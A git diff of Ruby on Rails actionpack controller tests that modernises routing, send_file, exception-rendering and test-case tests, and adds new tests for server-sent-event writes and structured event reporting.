-    assert_equal "https://test.host/people/5", controller.send(:show_url, 5, protocol: "https")
+    assert_equal "https://test.host/people/5", controller.show_url(5, protocol: "https")
   end
 
   def test_named_route_url_method_with_ordered_parameters
     controller = setup_named_route_test
     assert_equal "http://test.host/people/go/7/hello/joe/5",
-      controller.send(:multi_url, 7, "hello", 5)
+      controller.multi_url(7, "hello", 5)
   end
 
   def test_named_route_url_method_with_ordered_parameters_and_hash
     controller = setup_named_route_test
     assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar",
-      controller.send(:multi_url, 7, "hello", 5, baz: "bar")
+      controller.multi_url(7, "hello", 5, baz: "bar")
   end
 
   def test_named_route_url_method_with_ordered_parameters_and_empty_hash
     controller = setup_named_route_test
     assert_equal "http://test.host/people/go/7/hello/joe/5",
-      controller.send(:multi_url, 7, "hello", 5, {})
+      controller.multi_url(7, "hello", 5, {})
   end
 
   def test_named_route_url_method_with_no_positional_arguments
     controller = setup_named_route_test
     assert_equal "http://test.host/people?baz=bar",
-      controller.send(:index_url, baz: "bar")
+      controller.index_url(baz: "bar")
   end
 
   def test_draw_default_route
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -1119,7 +1224,7 @@ def test_route_with_parameter_shell
     set.draw do
       get "page/:id" => "pages#show", :id => /\d+/
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/:controller(/:action(/:id))"
       end
     end
@@ -1178,15 +1283,17 @@ def test_route_constraints_with_options_method_condition_is_valid
 
   def test_route_error_with_missing_controller
     set.draw do
-      get    "/people" => "missing#index"
+      get    "/people" => "does_not_exists#index"
     end
 
-    assert_raises(ActionController::RoutingError) { request_path_params "/people" }
+    assert_raises(ActionDispatch::MissingController, match: "uninitialized constant DoesNotExistsController") do
+      request_path_params "/people"
+    end
   end
 
   def test_recognize_with_encoded_id_and_regex
     set.draw do
-      get "page/:id" => "pages#show", :id => /[a-zA-Z0-9\+]+/
+      get "page/:id" => "pages#show", :id => /[a-zA-Z0-9+]+/
     end
 
     assert_equal({ controller: "pages", action: "show", id: "10" }, request_path_params("/page/10"))
@@ -1270,14 +1377,14 @@ def test_typo_recognition
   end
 
   def test_routing_traversal_does_not_load_extra_classes
-    assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+    assert_not Object.const_defined?("Profiler__"), "Profiler should not be loaded"
     set.draw do
       get "/profile" => "profile#index"
     end
 
     request_path_params("/profile") rescue nil
 
-    assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+    assert_not Object.const_defined?("Profiler__"), "Profiler should not be loaded"
   end
 
   def test_recognize_with_conditions_and_format
@@ -1324,11 +1431,9 @@ def test_root_map
 
   def test_namespace
     set.draw do
-
       namespace "api" do
         get "inventory" => "products#inventory"
       end
-
     end
 
     params = request_path_params("/api/inventory", method: :get)
@@ -1376,7 +1481,7 @@ def test_id_is_sticky_when_it_ought_to_be
     @set = make_set false
 
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:id/:action"
       end
     end
@@ -1392,7 +1497,7 @@ def test_use_static_path_when_possible
     set.draw do
       get "about" => "welcome#about"
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:id/:action"
       end
     end
@@ -1405,7 +1510,7 @@ def test_use_static_path_when_possible
   end
 
   def test_generate
-    set.draw { ActiveSupport::Deprecation.silence { get ":controller/:action/:id" } }
+    set.draw { ActionDispatch.deprecator.silence { get ":controller/:action/:id" } }
 
     args = { controller: "foo", action: "bar", id: "7", x: "y" }
     assert_equal "/foo/bar/7?x=y",     url_for(set, args)
@@ -1416,7 +1521,7 @@ def test_generate
   def test_generate_with_path_prefix
     set.draw do
       scope "my" do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller(/:action(/:id))"
         end
       end
@@ -1429,7 +1534,7 @@ def test_generate_with_path_prefix
   def test_generate_with_blank_path_prefix
     set.draw do
       scope "" do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller(/:action(/:id))"
         end
       end
@@ -1443,7 +1548,7 @@ def test_named_routes_are_never_relative_to_modules
     @set = make_set false
 
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/connection/manage(/:action)" => "connection/manage#index"
         get "/connection/connection" => "connection/connection#index"
         get "/connection" => "connection#index", :as => "family_connection"
@@ -1465,7 +1570,7 @@ def test_action_left_off_when_id_is_recalled
     @set = make_set false
 
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller(/:action(/:id))"
       end
     end
@@ -1483,7 +1588,7 @@ def test_query_params_will_be_shown_when_recalled
     set.draw do
       get "show_weblog/:parameter" => "weblog#show"
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller(/:action(/:id))"
       end
     end
@@ -1513,7 +1618,7 @@ def test_format_is_not_inherit
   def test_expiry_determination_should_consider_values_with_to_param
     @set = make_set false
 
-    set.draw { ActiveSupport::Deprecation.silence { get "projects/:project_id/:controller/:action" } }
+    set.draw { ActionDispatch.deprecator.silence { get "projects/:project_id/:controller/:action" } }
 
     get URI("http://test.host/projects/1/weblog/show")
 
@@ -1593,12 +1698,12 @@ def test_route_with_subdomain_and_constraints_must_receive_params
     set.draw do
       get "page/:name" => "pages#show", :constraints => lambda { |request|
         name_param = request.params[:name]
-        return true
+        true
       }
     end
     assert_equal({ controller: "pages", action: "show", name: "mypage" },
       set.recognize_path("http://subdomain.example.org/page/mypage"))
-    assert_equal(name_param, "mypage")
+    assert_equal("mypage", name_param)
   end
 
   def test_route_requirement_recognize_with_ignore_case
@@ -1669,7 +1774,7 @@ def test_route_requirement_with_xi_modifiers
   def test_routes_with_symbols
     set.draw do
       get "unnamed", controller: :pages, action: :show, name: :as_symbol
-      get "named"  , controller: :pages, action: :show, name: :as_symbol, as: :named
+      get "named", controller: :pages, action: :show, name: :as_symbol, as: :named
     end
     assert_equal({ controller: "pages", action: "show", name: :as_symbol }, set.recognize_path("/unnamed"))
     assert_equal({ controller: "pages", action: "show", name: :as_symbol }, set.recognize_path("/named"))
@@ -1690,7 +1795,7 @@ def test_regexp_chunk_should_add_question_mark_for_optionals
 
   def test_assign_route_options_with_anchor_chars
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/cars/:action/:person/:car/", controller: "cars"
       end
     end
@@ -1702,7 +1807,7 @@ def test_assign_route_options_with_anchor_chars
 
   def test_segmentation_of_dot_path
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/books/:action.rss", controller: "books"
       end
     end
@@ -1714,7 +1819,7 @@ def test_segmentation_of_dot_path
 
   def test_segmentation_of_dynamic_dot_path
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/books(/:action(.:format))", controller: "books"
       end
     end
@@ -1731,7 +1836,7 @@ def test_segmentation_of_dynamic_dot_path
   end
 
   def test_slashes_are_implied
-    set.draw { ActiveSupport::Deprecation.silence { get("/:controller(/:action(/:id))") } }
+    set.draw { ActionDispatch.deprecator.silence { get("/:controller(/:action(/:id))") } }
 
     assert_equal "/content",        url_for(set, controller: "content", action: "index")
     assert_equal "/content/list",   url_for(set, controller: "content", action: "list")
@@ -1822,7 +1927,7 @@ def test_generate_with_default_params
                              :constraints => { page: /\d+/ },
                              :defaults => { page: 1 }
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -1832,8 +1937,6 @@ def test_generate_with_default_params
 
   include ActionDispatch::RoutingVerbs
 
-  alias :routes :set
-
   def test_generate_with_optional_params_recalls_last_request
     @set = make_set false
 
@@ -1848,7 +1951,7 @@ def test_generate_with_optional_params_recalls_last_request
 
       get "blog/show/:id", controller: "blog", action: "show", id: /\d+/
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "blog/:controller/:action(/:id)"
       end
 
@@ -1875,7 +1978,7 @@ def test_generate_with_optional_params_recalls_last_request
     assert_equal({ controller: "blog",  action: "show_date", year: "2006", month: "07", day: "28" }, controller.request.path_parameters)
     assert_equal("/blog/2006/07/25", controller.url_for(day: 25, only_path: true))
     assert_equal("/blog/2005",       controller.url_for(year: 2005, only_path: true))
-    assert_equal("/blog/show/123",   controller.url_for(action: "show" , id: 123, only_path: true))
+    assert_equal("/blog/show/123",   controller.url_for(action: "show", id: 123, only_path: true))
     assert_equal("/blog/2006",       controller.url_for(year: 2006, only_path: true))
     assert_equal("/blog/2006",       controller.url_for(year: 2006, month: nil, only_path: true))
   end
@@ -1940,7 +2043,7 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
 
     get "news(.:format)" => "news#index"
 
-    ActiveSupport::Deprecation.silence do
+    ActionDispatch.deprecator.silence do
       get "comment/:id(/:action)" => "comments#show"
       get "ws/:controller(/:action(/:id))", ws: true
       get "account(/:action)" => "account#subscription"
@@ -1950,7 +2053,7 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
 
     get "�ん���/世界", controller: "news", action: "index"
 
-    ActiveSupport::Deprecation.silence do
+    ActionDispatch.deprecator.silence do
       match ":controller(/:action(/:id))(.:format)", via: :all
     end
 
@@ -2035,6 +2138,7 @@ def test_recognize_path
     assert_equal({ controller: "geocode", action: "show", postalcode: "12345" }, @routes.recognize_path("/extended/geocode/12345"))
 
     assert_equal({ controller: "news", action: "index" }, @routes.recognize_path("/", method: :get))
+    assert_equal({ controller: "news", action: "index" }, @routes.recognize_path(nil))
     assert_equal({ controller: "news", action: "index", format: "rss" }, @routes.recognize_path("/news.rss", method: :get))
 
     assert_raise(ActionController::RoutingError) { @routes.recognize_path("/none", method: :get) }
@@ -2061,23 +2165,27 @@ def test_generate_extras
   def test_extras
     params = { controller: "people" }
     assert_equal [], @routes.extra_keys(params)
-    assert_equal({ controller: "people", action: "index" }, params)
+    assert_equal({ controller: "people" }, params)
 
     params = { controller: "people", foo: "bar" }
     assert_equal [:foo], @routes.extra_keys(params)
-    assert_equal({ controller: "people", action: "index", foo: "bar" }, params)
+    assert_equal({ controller: "people", foo: "bar" }, params)
 
     params = { controller: "people", action: "create", person: { name: "Josh" } }
     assert_equal [:person], @routes.extra_keys(params)
     assert_equal({ controller: "people", action: "create", person: { name: "Josh" } }, params)
+
+    params = { controller: "people", action: "create", domain: { foo: "Josh" } }
+    assert_equal [:domain], @routes.extra_keys(params)
+    assert_equal({ controller: "people", action: "create", domain: { foo: "Josh" } }, params)
   end
 
   def test_unicode_path
-    assert_equal({ controller: "news", action: "index" }, @routes.recognize_path(URI.parser.escape("�ん���/世界"), method: :get))
+    assert_equal({ controller: "news", action: "index" }, @routes.recognize_path(URI::RFC2396_PARSER.escape("�ん���/世界"), method: :get))
   end
 
   def test_downcased_unicode_path
-    assert_equal({ controller: "news", action: "index" }, @routes.recognize_path(URI.parser.escape("�ん���/世界").downcase, method: :get))
+    assert_equal({ controller: "news", action: "index" }, @routes.recognize_path(URI::RFC2396_PARSER.escape("�ん���/世界").downcase, method: :get))
   end
 
   private
diff --git a/actionpack/test/controller/runner_test.rb b/actionpack/test/controller/runner_test.rb
index 3c0c1907f923b..1709ab5f6d34a 100644
--- a/actionpack/test/controller/runner_test.rb
+++ b/actionpack/test/controller/runner_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_dispatch/testing/integration"
 
@@ -15,8 +17,8 @@ def hi; end
 
     def test_respond_to?
       runner = MyRunner.new(Class.new { def x; end }.new)
-      assert runner.respond_to?(:hi)
-      assert runner.respond_to?(:x)
+      assert_respond_to runner, :hi
+      assert_respond_to runner, :x
     end
   end
 end
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index 9e6b975fe2df5..616ee3fb1bdba 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module TestFileUtils
   def file_name() File.basename(__FILE__) end
-  def file_path() File.expand_path(__FILE__) end
-  def file_data() @data ||= File.open(file_path, "rb") { |f| f.read } end
+  def file_path() __FILE__ end
+  def file_data() @data ||= File.binread(file_path) end
 end
 
 class SendFileController < ActionController::Base
@@ -142,16 +144,15 @@ def test_send_file_headers_bang
       get :test_send_file_headers_bang
 
       assert_equal "image/png", response.content_type
-      assert_equal 'disposition; filename="filename"', response.get_header("Content-Disposition")
+      assert_equal %(disposition; filename="filename"; filename*=UTF-8''filename), response.get_header("Content-Disposition")
       assert_equal "binary", response.get_header("Content-Transfer-Encoding")
-      assert_equal "private", response.get_header("Cache-Control")
     end
   end
 
   def test_send_file_headers_with_disposition_as_a_symbol
     get :test_send_file_headers_with_disposition_as_a_symbol
 
-    assert_equal 'disposition; filename="filename"', response.get_header("Content-Disposition")
+    assert_equal %(disposition; filename="filename"; filename*=UTF-8''filename), response.get_header("Content-Disposition")
   end
 
   def test_send_file_headers_with_mime_lookup_with_symbol
@@ -176,7 +177,7 @@ def test_send_file_headers_guess_type_from_extension
       "image.jpg" => "image/jpeg",
       "image.tif" => "image/tiff",
       "image.gif" => "image/gif",
-      "movie.mpg" => "video/mpeg",
+      "movie.mp4" => "video/mp4",
       "file.zip" => "application/zip",
       "file.unk" => "application/octet-stream",
       "zip" => "application/octet-stream"
@@ -206,6 +207,22 @@ def test_send_file_from_before_action
     assert_equal file_data, response.body
   end
 
+  def test_send_file_instrumentation
+    @controller.options = { disposition: :inline }
+
+    assert_notification("send_file.action_controller", path: __FILE__, disposition: :inline) do
+      process("file")
+    end
+  end
+
+  def test_send_data_instrumentation
+    @controller.options = { content_type: "application/x-ruby" }
+
+    assert_notification("send_data.action_controller", content_type: "application/x-ruby") do
+      process("data")
+    end
+  end
+
   %w(file data).each do |method|
     define_method "test_send_#{method}_status" do
       @controller.options = { stream: false, status: 500 }
diff --git a/actionpack/test/controller/show_exceptions_test.rb b/actionpack/test/controller/show_exceptions_test.rb
index 38c601ee81fa7..8e1068fecf19d 100644
--- a/actionpack/test/controller/show_exceptions_test.rb
+++ b/actionpack/test/controller/show_exceptions_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ShowExceptions
@@ -49,7 +51,6 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
 
   class ShowExceptionsOverriddenController < ShowExceptionsController
     private
-
       def show_detailed_exceptions?
         params["detailed"] == "1"
       end
@@ -74,7 +75,7 @@ def test_render_json_exception
       @app = ShowExceptionsOverriddenController.action(:boom)
       get "/", headers: { "HTTP_ACCEPT" => "application/json" }
       assert_response :internal_server_error
-      assert_equal "application/json", response.content_type.to_s
+      assert_equal "application/json", response.media_type
       assert_equal({ status: 500, error: "Internal Server Error" }.to_json, response.body)
     end
 
@@ -82,7 +83,7 @@ def test_render_xml_exception
       @app = ShowExceptionsOverriddenController.action(:boom)
       get "/", headers: { "HTTP_ACCEPT" => "application/xml" }
       assert_response :internal_server_error
-      assert_equal "application/xml", response.content_type.to_s
+      assert_equal "application/xml", response.media_type
       assert_equal({ status: 500, error: "Internal Server Error" }.to_xml, response.body)
     end
 
@@ -90,22 +91,23 @@ def test_render_fallback_exception
       @app = ShowExceptionsOverriddenController.action(:boom)
       get "/", headers: { "HTTP_ACCEPT" => "text/csv" }
       assert_response :internal_server_error
-      assert_equal "text/html", response.content_type.to_s
+      assert_equal "text/html", response.media_type
     end
   end
 
   class ShowFailsafeExceptionsTest < ActionDispatch::IntegrationTest
     def test_render_failsafe_exception
       @app = ShowExceptionsOverriddenController.action(:boom)
-      @exceptions_app = @app.instance_variable_get(:@exceptions_app)
-      @app.instance_variable_set(:@exceptions_app, nil)
+      middleware = @app
+      @exceptions_app = middleware.instance_variable_get(:@exceptions_app)
+      middleware.instance_variable_set(:@exceptions_app, nil)
       $stderr = StringIO.new
 
       get "/", headers: { "HTTP_ACCEPT" => "text/json" }
       assert_response :internal_server_error
-      assert_equal "text/plain", response.content_type.to_s
+      assert_equal "text/plain", response.media_type
     ensure
-      @app.instance_variable_set(:@exceptions_app, @exceptions_app)
+      middleware.instance_variable_set(:@exceptions_app, @exceptions_app)
       $stderr = STDERR
     end
   end
diff --git a/actionpack/test/controller/sse_perform_write_test.rb b/actionpack/test/controller/sse_perform_write_test.rb
new file mode 100644
index 0000000000000..a8f54152c6c3e
--- /dev/null
+++ b/actionpack/test/controller/sse_perform_write_test.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionController
+  # Unit tests for ActionController::Live::SSE focusing on underlying write semantics.
+  # These tests ensure that each call to SSE#write results in exactly one call to the
+  # underlying stream#write, even when multiple options (event, retry, id) are supplied
+  # and when multiline data requires transformation.
+  class SSEPerformWriteTest < ActiveSupport::TestCase
+    class FakeStream
+      attr_reader :writes
+
+      def initialize
+        @writes = []
+      end
+
+      def write(chunk)
+        @writes << chunk
+      end
+
+      def close; end
+    end
+
+    def test_single_underlying_write_with_options_and_object_payload
+      stream = FakeStream.new
+      sse = Live::SSE.new(stream, event: "base", retry: 100)
+
+      sse.write({ name: "John" }, id: 123, event: "override", retry: 500)
+
+      assert_equal 1, stream.writes.size, "Expected exactly one underlying write call"
+      payload = stream.writes.first
+
+      assert_match(/event: override/, payload)
+      assert_match(/retry: 500/, payload)
+      assert_match(/id: 123/, payload)
+      assert_match(/data: {"name":"John"}/, payload)
+      assert_match(/\n\n\z/, payload, "Payload should terminate with a blank line per SSE spec")
+    end
+
+    def test_single_underlying_write_with_preencoded_string
+      stream = FakeStream.new
+      sse = Live::SSE.new(stream)
+
+      sse.write("{\"a\":1}")
+
+      assert_equal 1, stream.writes.size
+      assert_match(/data: {"a":1}/, stream.writes.first)
+    end
+
+    def test_single_underlying_write_with_multiline_string
+      stream = FakeStream.new
+      sse = Live::SSE.new(stream)
+
+      sse.write("line1\nline2", event: "multi")
+
+      assert_equal 1, stream.writes.size
+      payload = stream.writes.first
+      # Each newline becomes a new data: line (after the first) but still one underlying write
+      assert_match(/event: multi/, payload)
+      assert_match(/data: line1/, payload)
+      assert_match(/data: line2/, payload)
+    end
+
+    def test_number_of_underlying_writes_matches_number_of_sse_writes
+      stream = FakeStream.new
+      sse = Live::SSE.new(stream)
+
+      sse.write(a: 1)
+      sse.write(b: 2, id: 10)
+      sse.write({ c: 3 }, event: "evt", retry: 2500)
+
+      assert_equal 3, stream.writes.size, "Each SSE#write should map to exactly one stream.write"
+    end
+  end
+end
diff --git a/actionpack/test/controller/streaming_test.rb b/actionpack/test/controller/streaming_test.rb
index d685467cad7a8..5a42e2ae6d320 100644
--- a/actionpack/test/controller/streaming_test.rb
+++ b/actionpack/test/controller/streaming_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionController
diff --git a/actionpack/test/controller/structured_event_subscriber_test.rb b/actionpack/test/controller/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..e2dea378ee7a3
--- /dev/null
+++ b/actionpack/test/controller/structured_event_subscriber_test.rb
@@ -0,0 +1,202 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/testing/event_reporter_assertions"
+require "action_controller/structured_event_subscriber"
+
+require "active_support/core_ext/object/with"
+
+module ActionController
+  class StructuredEventSubscriberTest < ActionController::TestCase
+    module Another
+      class StructuredEventSubscribersController < ActionController::Base
+        rescue_from StandardError do |exception|
+          head 500
+        end
+
+        def show
+          head :ok
+        end
+
+        def redirector
+          redirect_to "http://foo.bar/"
+        end
+
+        def data_sender
+          send_data "cool data", filename: "file.txt"
+        end
+
+        def file_sender
+          send_file File.expand_path("company.rb", FIXTURE_LOAD_PATH)
+        end
+
+        def filterable_redirector
+          redirect_to "http://secret.foo.bar/"
+        end
+
+        def unpermitted_parameters
+          params.permit(:name)
+          render plain: "OK"
+        end
+
+        def with_fragment_cache
+          render inline: "<%= cache('foo'){ 'bar' } %>"
+        end
+
+        def raise_error
+          raise StandardError, "Something went wrong"
+        end
+
+        def open_redirector
+          redirect_to "example.com"
+        end
+      end
+    end
+
+    tests Another::StructuredEventSubscribersController
+
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    def setup
+      @original_action_on_unpermitted_parameters = ActionController::Parameters.action_on_unpermitted_parameters
+      ActionController::Parameters.action_on_unpermitted_parameters = :log
+    end
+
+    def teardown
+      ActionController::Parameters.action_on_unpermitted_parameters = @original_action_on_unpermitted_parameters
+    end
+
+    def test_start_processing
+      assert_event_reported("action_controller.request_started", payload: {
+        controller: Another::StructuredEventSubscribersController.name,
+        action: "show",
+        format: "HTML"
+      }) do
+        get :show
+      end
+    end
+
+    def test_start_processing_as_json
+      assert_event_reported("action_controller.request_started", payload: {
+        controller: Another::StructuredEventSubscribersController.name,
+        action: "show",
+        format: "JSON"
+      }) do
+        get :show, format: "json"
+      end
+    end
+
+    def test_start_processing_with_parameters
+      assert_event_reported("action_controller.request_started", payload: {
+        controller: Another::StructuredEventSubscribersController.name,
+        action: "show",
+        params: { "id" => "10" }
+      }) do
+        get :show, params: { id: "10" }
+      end
+    end
+
+    def test_process_action
+      event = assert_event_reported("action_controller.request_completed", payload: {
+        controller: Another::StructuredEventSubscribersController.name,
+        action: "show",
+        status: 200,
+      }) do
+        get :show
+      end
+
+      assert event[:payload][:duration_ms].is_a?(Numeric)
+    end
+
+    def test_redirect
+      assert_event_reported("action_controller.redirected", payload: { location: "http://foo.bar/" }) do
+        get :redirector
+      end
+    end
+
+    def test_send_data
+      event = assert_event_reported("action_controller.data_sent", payload: {
+        filename: "file.txt"
+      }) do
+        get :data_sender
+      end
+
+      assert event[:payload][:duration_ms].is_a?(Numeric)
+    end
+
+    def test_send_file
+      event = assert_event_reported("action_controller.file_sent", payload: {
+        path: /company\.rb/
+      }) do
+        get :file_sender
+      end
+
+      assert event[:payload][:duration_ms].is_a?(Numeric)
+    end
+
+    def test_unpermitted_parameters
+      with_debug_event_reporting do
+        assert_event_reported("action_controller.unpermitted_parameters", payload: {
+          unpermitted_keys: ["age"],
+          context: {
+            params: {
+              "name" => "John",
+              "age" => "30",
+              "controller" => "action_controller/structured_event_subscriber_test/another/structured_event_subscribers",
+              "action" => "unpermitted_parameters",
+            },
+            controller: Another::StructuredEventSubscribersController.name,
+            action: "unpermitted_parameters"
+          }
+        }) do
+          post :unpermitted_parameters, params: { name: "John", age: 30 }
+        end
+      end
+    end
+
+    def test_rescue_from_callback
+      assert_event_reported("action_controller.rescue_from_handled", payload: {
+        exception_class: "StandardError",
+        exception_message: "Something went wrong"
+      }) do
+        get :raise_error
+      end
+    end
+
+    def test_fragment_cache
+      original_enable_fragment_cache_logging = ActionController::Base.enable_fragment_cache_logging
+      ActionController::Base.enable_fragment_cache_logging = true
+      cache_path = Dir.mktmpdir(%w[tmp cache])
+      @controller.cache_store = :file_store, cache_path
+
+      assert_event_reported("action_controller.fragment_cache", payload: {
+        method: "read_fragment",
+        key: "views/foo"
+      }) do
+        assert_event_reported("action_controller.fragment_cache", payload: {
+          method: "write_fragment",
+          key: "views/foo"
+        }) do
+          get :with_fragment_cache
+        end
+      end
+    ensure
+      ActionController::Base.enable_fragment_cache_logging = original_enable_fragment_cache_logging
+      FileUtils.rm_rf(cache_path)
+    end
+
+    def test_open_redirect
+      ActionController::Base.with(action_on_open_redirect: :notify) do
+        event = assert_event_reported("action_controller.open_redirect", payload: {
+          location: "http://test.hostexample.com",
+          request_method: "GET",
+          request_path: "/action_controller/structured_event_subscriber_test/another/structured_event_subscribers/open_redirector"
+        }) do
+          get :open_redirector
+        end
+
+        assert(event[:payload][:stacktrace].find { |line| line.include?("structured_event_subscriber_test.rb:51") })
+      end
+    end
+  end
+end
diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb
index e084e45373726..3e7138278627a 100644
--- a/actionpack/test/controller/test_case_test.rb
+++ b/actionpack/test/controller/test_case_test.rb
@@ -1,10 +1,16 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_controllers"
 require "active_support/json/decoding"
 require "rails/engine"
 
 class TestCaseTest < ActionController::TestCase
-  def self.fixture_path; end;
+  def self.fixture_paths
+    []
+  end
+
+  self.file_fixture_path = File.expand_path("../fixtures/multipart", __dir__)
 
   class TestController < ActionController::Base
     def no_op
@@ -43,9 +49,15 @@ def render_raw_post
     end
 
     def render_body
+      request.body.rewind
       render plain: request.body.read
     end
 
+    def render_body_encoding
+      request.body.rewind
+      render plain: request.body.read.encoding.name
+    end
+
     def test_params
       render plain: ::JSON.dump(params.to_unsafe_h)
     end
@@ -79,34 +91,34 @@ def test_headers
     end
 
     def test_html_output
-      render plain: <<HTML
-<html>
-  <body>
-    <a href="/"><img src="/images/button.png" /></a>
-    <div id="foo">
-      <ul>
-        <li class="item">hello</li>
-        <li class="item">goodbye</li>
-      </ul>
-    </div>
-    <div id="bar">
-      <form action="/somewhere">
-        Name: <input type="text" name="person[name]" id="person_name" />
-      </form>
-    </div>
-  </body>
-</html>
-HTML
+      render plain: <<~HTML
+        <html>
+          <body>
+            <a href="/"><img src="/images/button.png" /></a>
+            <div id="foo">
+              <ul>
+                <li class="item">hello</li>
+                <li class="item">goodbye</li>
+              </ul>
+            </div>
+            <div id="bar">
+              <form action="/somewhere">
+                Name: <input type="text" name="person[name]" id="person_name" />
+              </form>
+            </div>
+          </body>
+        </html>
+      HTML
     end
 
     def test_xml_output
       response.content_type = params[:response_as]
-      render plain: <<XML
-<?xml version="1.0" encoding="UTF-8"?>
-<root>
-  <area><p>area is an empty tag in HTML, so it won't contain this content</p></area>
-</root>
-XML
+      render plain: <<~XML
+        <?xml version="1.0" encoding="UTF-8"?>
+        <root>
+          <area><p>area is an empty tag in HTML, so it won't contain this content</p></area>
+        </root>
+      XML
     end
 
     def test_only_one_param
@@ -122,7 +134,7 @@ def test_file_upload
     end
 
     def test_send_file
-      send_file(File.expand_path(__FILE__))
+      send_file(__FILE__)
     end
 
     def redirect_to_same_controller
@@ -134,7 +146,7 @@ def redirect_to_different_controller
     end
 
     def create
-      head :created, location: "created resource"
+      head :created, location: "/resource"
     end
 
     def render_cookie
@@ -154,12 +166,26 @@ def test_with_body
       render html: '<body class="foo"></body>'.html_safe
     end
 
+    def render_json
+      render json: request.raw_post
+    end
+
     def boom
       raise "boom!"
     end
 
-    private
+    def increment_count
+      @counter ||= 0
+      @counter += 1
+      render plain: @counter
+    end
+
+    def original_fullpath
+      request.set_header("PATH_INFO", "/new")
+      render plain: request.original_fullpath
+    end
 
+    private
       def generate_url(opts)
         url_for(opts.merge(action: "test_uri"))
       end
@@ -171,7 +197,7 @@ def setup
     @request.delete_header "PATH_INFO"
     @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
       r.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller(/:action(/:id))"
         end
       end
@@ -221,6 +247,26 @@ def test_raw_post_handling
     assert_equal params.to_query, @response.body
   end
 
+  def test_params_round_trip
+    params = { "foo" => { "contents" => [{ "name" => "gorby", "id" => "123" }, { "name" => "puff", "d" => "true" }] } }
+    post :test_params, params: params.dup
+
+    controller_info = { "controller" => "test_case_test/test", "action" => "test_params" }
+    assert_equal params.merge(controller_info), JSON.parse(@response.body)
+  end
+
+  def test_handle_to_params
+    klass = Class.new do
+      def to_param
+        "bar"
+      end
+    end
+
+    post :test_params, params: { foo: klass.new }
+
+    assert_equal "bar", JSON.parse(@response.body)["foo"]
+  end
+
   def test_body_stream
     params = Hash[:page, { name: "page name" }, "some key", 123]
 
@@ -229,6 +275,14 @@ def test_body_stream
     assert_equal params.to_query, @response.body
   end
 
+  def test_body_stream_is_binary
+    params = Hash[:page, { name: "page name" }, "some key", 123]
+
+    post :render_body_encoding, params: params.dup
+
+    assert_equal Encoding::BINARY.name, @response.body
+  end
+
   def test_document_body_and_params_with_post
     post :test_params, params: { id: 1 }
     assert_equal({ "id" => "1", "controller" => "test_case_test/test", "action" => "test_params" }, ::JSON.parse(@response.body))
@@ -378,7 +432,13 @@ def test_should_impose_childless_html_tags_in_html
     process :test_xml_output, params: { response_as: "text/html" }
 
     # <area> auto-closes, so the <p> becomes a sibling
-    assert_select "root > area + p"
+    if defined?(JRUBY_VERSION)
+      # https://github.com/sparklemotion/nokogiri/issues/1653
+      # HTML parser "fixes" "broken" markup in slightly different ways
+      assert_select "root > map > area + p"
+    else
+      assert_select "root > area + p"
+    end
   end
 
   def test_should_not_impose_childless_html_tags_in_xml
@@ -390,9 +450,9 @@ def test_should_not_impose_childless_html_tags_in_xml
 
   def test_assert_generates
     assert_generates "controller/action/5", controller: "controller", action: "action", id: "5"
-    assert_generates "controller/action/7", { id: "7" }, controller: "controller", action: "action"
-    assert_generates "controller/action/5", { controller: "controller", action: "action", id: "5", name: "bob" }, {}, name: "bob"
-    assert_generates "controller/action/7", { id: "7", name: "bob" }, { controller: "controller", action: "action" }, name: "bob"
+    assert_generates "controller/action/7", { id: "7" }, { controller: "controller", action: "action" }
+    assert_generates "controller/action/5", { controller: "controller", action: "action", id: "5", name: "bob" }, {}, { name: "bob" }
+    assert_generates "controller/action/7", { id: "7", name: "bob" }, { controller: "controller", action: "action" }, { name: "bob" }
     assert_generates "controller/action/7", { id: "7" }, { controller: "controller", action: "action", name: "bob" }, {}
   end
 
@@ -403,7 +463,7 @@ def test_assert_routing
